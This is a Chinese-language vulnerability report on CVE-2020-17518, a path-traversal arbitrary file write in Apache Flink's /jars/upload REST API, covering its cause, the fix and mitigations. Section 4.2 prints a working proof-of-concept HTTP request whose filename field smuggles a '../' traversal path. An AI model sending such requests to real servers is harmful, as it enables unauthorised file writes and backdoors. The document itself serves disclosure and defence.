Apache Flink 任意文件写入漏洞(CVE-2020-17518)分析报告
1. 漏洞概述
漏洞名称: Apache Flink 目录遍历攻击:通过REST API实现远程文件写入
CVE编号: CVE-2020-17518
影响版本: Apache Flink 1.5.1 至 1.11.2
漏洞类型: 任意文件写入
漏洞危害: 攻击者可通过REST API上传恶意文件到Flink服务器的任意位置
修复版本: 1.11.3 或 1.12.0
2. Apache Flink简介
Apache Flink是一个框架和分布式处理引擎,用于对无边界和有边界的数据流进行有状态的计算。Flink被设计成可在所有常见的集群环境中运行,以"内存速度"执行计算。
3. 漏洞背景
Flink提供了REST API用于监控和管理集群,其中包括一个/jars/upload接口用于上传JAR文件到集群。该接口本应只允许上传JAR文件到指定目录,但由于路径处理不当,导致可以写入任意文件到任意位置。
4. 漏洞细节
4.1 漏洞原理
在受影响版本中,FileUploadHandler.java处理上传文件时,直接使用currentUploadDir.resolve(fileUpload.getFilename())来构造目标路径,没有对文件名进行规范化处理,导致可以通过../../等路径遍历符号将文件写入任意位置。
4.2 漏洞验证
攻击请求示例:
POST /jars/upload HTTP/1.1
Host: target:8081
Accept: */*
Content-Length: 240
Content-Type: multipart/form-data; boundary=------------------------23ef1e5684ec1135
Connection: close
--------------------------23ef1e5684ec1135
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/test.txt"
Content-Type: application/octet-stream
#test_content
--------------------------23ef1e5684ec1135--
响应示例:
虽然服务器返回400错误,但文件已成功写入指定位置。
4.3 漏洞修复
修复提交: a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
修复方式: 使用new File(fileUpload.getFilename()).getName()获取文件名,去除路径信息。
修复后的关键代码:
final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
5. 影响评估
5.1 受影响版本
- 1.5.1 ≤ 受影响版本 ≤ 1.11.2
5.2 潜在危害
- 写入恶意文件到系统关键位置
- 覆盖重要配置文件
- 植入后门程序
- 导致系统拒绝服务
6. 修复建议
-
升级到安全版本:
- 升级到1.11.3或1.12.0及以上版本
-
临时缓解措施:
- 限制对Flink REST API的访问
- 使用网络防火墙规则限制访问源
-
安全配置:
- 确保Flink运行在最小权限账户下
- 定期审计系统文件完整性
7. 漏洞分析总结
该漏洞源于Flink在处理上传文件时未对路径进行规范化处理,导致目录遍历攻击成为可能。虽然服务器会返回错误响应,但文件写入操作已经完成。修复方案简单有效,通过Java File类自动去除路径信息,仅保留文件名部分。
8. 参考资源
- 官方漏洞公告: https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
- 修复提交: https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
- Apache Flink官方文档: https://flink.apache.org/